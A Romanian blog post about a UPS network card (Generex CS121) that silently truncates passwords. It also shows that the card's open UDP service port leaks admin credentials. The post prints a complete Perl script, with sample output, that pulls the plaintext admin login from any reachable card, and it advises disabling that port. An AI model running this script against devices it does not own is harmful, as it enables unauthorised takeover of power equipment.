Șmecheri nemți mai sunt chinezii ăștia…

Mai ales atunci când îi conving pe francezi să copieze un soft american pe care să-l facă să funcționeze pe un echipament german.

Acum puțin timp a venit momentul să schimbăm ups-urile din firmă, nu de alta dar prietenii de la Enel sau cum s-or mai numi acuma au prostul obicei de a opri alimentarea cu energie electrică din când în când… sau, mai grav, nu o opresc, dar nici nu trimit 220V pe sârme…

Și pe lângă noile echipemante și-a găsit locul și unul mai deștept, care să vorbească cu noi (când e cazul), să știe să trimită un email, notificare ceva când se întâmplă lucruri neprevăzute, etc.

Partea aia de deșteptăciune din ups-ul cu pricina poartă numele de CS121, e făcută de nemții de la Generex și echipează mai toate ups-urile de la Eaton, Rittal, AEG, Legrand și Masterguard. Un echipament serios și sănătos așa în felul lui, dar având firmware (custom) și softul făcute de francezi, copiind până la un punct o aplicație deja cunoscută, făcută de americani (franțuziți și ei acuma) la momentul când sloganul acestora din urmă era “Legendary Reliability”.

Bun… Ca de obicei, primul lucru pe care-l fac atunci când îmi pică o jucărie nouă în mâini… schimb parolele (că tot spunea Simona Tache acum ceva vreme că la noi, bărbații, fără parole, viața e pustiu)

Și pun eu frumos acolo parola de bază AnaNuMaiAreMereSocSiGroaza!!!@#$00&72, scriu cuminte aceeași parolă și în al doilea câmp ca să confirm, primesc felicitări pentru cât de inteligentă îmi e parola și sigură etc, salvez și când să întru iar în administrare…. ghinion… iaca parola nu e aia bună. Mai încerc odată, mai scriu toată parola (că de, să nu fie vreun caracter aiurea prins între copy și paste și-mi pic doctoratul din cauza lui)… nimic. Parolă incorectă.
Înjur eu zdravăn tastatura, localele și ce-mi mai vine-n cap că ar putea fi motiv de a fi salvat o parolă greșită, și la final, ca orice inginer care se respectă, pun mâna pe manual să văd cum pot reseta parola.
Ajung eu la pagina care povestește de cât de sigur e mecanismul lor și cum să folosești parole sigure bla, bla, bla, iar la final găsesc o notă mică care zice pe scurt că dacă ai “uitat” (fain că uitat chiar e între ghilimele) parola, poți în baza seriei echipamentului să ceri una nouă direct de la producător.
Înghit în sec, pun mâna pe telefon și sun la cel care mi-a vândut echipamentul… “știi, eu mi-s mai prost așa și nu mai știu ce parolă am pus, poți să-mi zici și mie cum se resetează?”. După câteva minute în care el a sunat la rândul lui la importator/etc. vine răspunsul: “Trimite-mi un email, în care să povestești ce ai pățit, eu îl dau la importator, care-l va trimite la producător care….” OK, îmi zic în barbă, așadar fiind vorba de francezi la mijloc, probabil că săptămânile astea nu mai accesez jucăria… și încep să caut informații despre cât ar putea dura operațiunea.

Și căutând eu pe net, ce aflu?

Că placa cu pricina are un port de service, prin care își aduce update-urile de firmware, intră francezii să îți rezolve problemele etc. și care, culmea (sau nu) stă așa frumos deschis pentru toată lumea care și-ar dori să-l probeze…

Și pentru a testa există și un mic script făcut în perl, care odată rulat afișează mai tot ce te-ar putea interesa… cam așa:

$./upssearch.pl $IP

UPS: CS124-16M32M, ROM-Version: 2.3.4(pduc) - Aug 27, 2010

Target system parameters (current):
Default Protocol : TCP/IP
Default Driver : Ethernet
Mac address : 00-00-00-00-00-00
IP address : XX.XX.XX.XX
Net Mask : 255.255.250.192
Default Gateway : XX.XX.XX.XX
DHCP : 0.0.0.0
DNS : 0.0.0.0
Port for tools : 4000

Searching login
USER: admin, PASS: AnaNuMaiAreMere, ACCOUNT: none

Bucuros nevoie mare că mi-am “hăcuit” propriul echipament, aflu că de fapt nu băgasem eu greșit parola inițială ci mândrețea de soft are limitare la X caractere, iar deși nu spune nicăieri și validează ca fiind corectă orice introducere, stripuiește șirul de caractere la acel X… Multă sănătate poporului programator francez care m-a făcut să-mi pierd câteva ore pe tema asta.

Conținutul scriptului de care pomeneam mai sus este (nu de alta dar poate mai pică și alții în situația asta):

#!/usr/bin/perl -w
use IO::Socket;
use constant MAXBYTES => scalar 1024;

$socket = IO::Socket::INET->new( PeerPort => 4000,
PeerAddr => $ARGV[0],
Type => SOCK_DGRAM,
Proto => 'udp');

$socket->send("");
$socket->recv($inline, MAXBYTES);
print "UPS: $inline \n";

$socket->send("show syspar");
$socket->recv($inline, MAXBYTES);
print "$inline\n";

print "Searching login\n" ;
$socket->send("start");
$socket->recv($inline, MAXBYTES);
$socket->send("cd /flash");
$socket->send("type ftp_accounts.txt");

while($socket->recv($inline, MAXBYTES)) {
if($inline =~ /admin/ig) { print $inline; exit; }
}

sleep(10);

Recomandarea mea, dacă vă pică astfel de echipamente pe mână, țineți portul de service dezactivat. Și nu folosiți parole complicate, bine? 🙂

Leave a Reply